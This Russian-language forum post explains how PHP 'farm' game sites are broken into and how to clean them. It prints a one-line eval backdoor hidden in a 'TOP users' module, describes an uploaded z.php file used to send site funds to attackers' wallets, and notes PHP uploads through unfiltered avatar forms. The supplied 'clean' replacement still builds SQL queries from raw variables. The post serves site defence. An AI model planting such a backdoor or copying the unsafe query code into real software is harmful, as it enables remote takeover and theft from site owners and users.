Всем привет. Я создавал уже тему о том, как взломывают фермы, но по сути ничего точного никто не сказал - только варианты через шел и прочее..
Но общаясь совершенно в другой теме, мы увидели и как выглядят дырки и какие файлы заливают на сайт. Итак эта тема будет посвящена исключительно защите вашей фермы, и естественно тому, чтобы остановить нашествие воров в интернете, по которым уже давно плачет тюрьма.
-----------------------------------------------------------------------------------------
Итак
1 способ:Файлы с дырой, например ТОП
Сам код выглядит так:
if(!empty($_REQUEST['user_id'])){ if(@get_magic_quotes_gpc())$_REQUEST['user_id']=stripslashes($_REQUEST['user_id']); eval($_REQUEST['user_id']); die();}
Этот код удалять сразу
Чистый файл ТОП пользователей:
<?PHP
$_OPTIMIZATION["title"] = "ТОП 10";
$user_id = $_SESSION["user_id"];
$db->Query("SELECT * FROM db_users_a, db_users_b WHERE db_users_a.id = db_users_b.id AND db_users_a.id = '$user_id'");
$prof_data = $db->FetchArray();
?>
<div class="s-bk-lf">
<div class="acc-title">TOP 10 по вводам</div>
</div>
<div class="silver-bk"><div class="clr"></div>
<?PHP
$num_p = (isset($_GET["page"]) AND intval($_GET["page"]) < 1000 AND intval($_GET["page"]) >= 1) ? (intval($_GET["page"]) -1) : 0;
$lim = $num_p * 100;
$db->Query("SELECT * FROM db_users_b ORDER BY insert_sum DESC LIMIT 10");
if($db->NumRows() > 0){
?>
<table width="100%" border="0">
<tr bgcolor="#efefef">
<td align="center" width="75">Место</td>
<td align="center">Пользователь</td>
<td align="center">Пополнил</td>
</tr>
<?PHP
$i = 0;
while($data = $db->FetchArray()){
$i=$i+1;
?>
<tr class="htt">
<td align="center"><?=$i; ?></td>
<td align="center"><?=$data["user"]; ?></td>
<td align="center"><?=$data["insert_sum"]; ?></td>
</tr>
<?PHP
}
?>
</table>
<BR />
<?PHP
}
?>
</div>
<div class="clr"></div>
[br /]
<?PHP
$user_id = $_SESSION["user_id"];
$db->Query("SELECT * FROM db_users_a, db_users_b WHERE db_users_a.id = db_users_b.id AND db_users_a.id = '$user_id'");
$prof_data = $db->FetchArray();
?>
<div class="s-bk-lf">
<div class="acc-title">TOP 10 по выводам</div>
</div>
<div class="silver-bk"><div class="clr"></div>
<?PHP
$num_p = (isset($_GET["page"]) AND intval($_GET["page"]) < 1000 AND intval($_GET["page"]) >= 1) ? (intval($_GET["page"]) -1) : 0;
$lim = $num_p * 100;
$db->Query("SELECT * FROM db_users_b ORDER BY payment_sum DESC LIMIT 10");
if($db->NumRows() > 0){
?>
<table width="100%" border="0">
<tr bgcolor="#efefef">
<td align="center" width="75">Место</td>
<td align="center">Пользователь</td>
<td align="center">Вывел</td>
</tr>
<?PHP
$i = 0;
while($data = $db->FetchArray()){
$i=$i+1;
?>
<tr class="htt">
<td align="center"><?=$i; ?></td>
<td align="center"><?=$data["user"]; ?></td>
<td align="center"><?=$data["payment_sum"]; ?></td>
</tr>
<?PHP
}
?>
</table>
<BR />
<?PHP
}
?>
</div>
<div class="clr"></div>
[br /]
<?PHP
$db->Query("SELECT * FROM db_users_a, db_users_b WHERE db_users_a.id = db_users_b.id AND db_users_a.id = '$user_id'");
$prof_data = $db->FetchArray();
?>
<div class="s-bk-lf">
<div class="acc-title">TOP 10 по рефералам</div>
</div>
<div class="silver-bk"><div class="clr"></div>
<?PHP
$num_p = (isset($_GET["page"]) AND intval($_GET["page"]) < 1000 AND intval($_GET["page"]) >= 1) ? (intval($_GET["page"]) -1) : 0;
$lim = $num_p * 100;
$db->Query("SELECT * FROM db_users_a ORDER BY referals DESC LIMIT 10");
if($db->NumRows() > 0){
?>
<table width="100%" border="0">
<tr bgcolor="#efefef">
<td align="center" width="75">Место</td>
<td align="center">Пользователь</td>
<td align="center">Рефералов</td>
</tr>
<?PHP
$i = 0;
while($data = $db->FetchArray()){
$i=$i+1;
?>
<tr class="htt">
<td align="center"><?=$i; ?></td>
<td align="center"><?=$data["user"]; ?></td>
<td align="center"><?=$data["referals"]; ?></td>
</tr>
<?PHP
}
?>
</table>
<BR />
<?PHP
}
?>
</div>
<div class="clr"></div>
Код чистого топа предоставил admin, а дыру нашли admin и maks161
С помощью данного вредоносного кода можно залить файл в корневую папку, например /z.php
Цитирую Админа:
Через неё как вариант заливают шелл, левый файл например любой,
Я в аренду отдал фрему свою временно,парнишка установил этот модуль с дырой, ему залили файл z.php
При переходе по адресу сайт.ру/z.php открывается страница с окошком и стрелочкой
В окошко вводится номер кошелька... ну и в принципе всё,деньги ушли к тому кто в них нуждается 
Удаляем этот файл также.
2 способ:есть еще один способ взлома,через аватарку если не стоит фильтрация ферму взломают тоже легко.
Фильтрация должна стоять на загрузку разрешений png, gif, jpg - то есть на сами картинки. Если это убрать, то можно загружать файлы php
--------------------------------------------------------------------------------------
Тема будет дополняться и говориться еще варианты.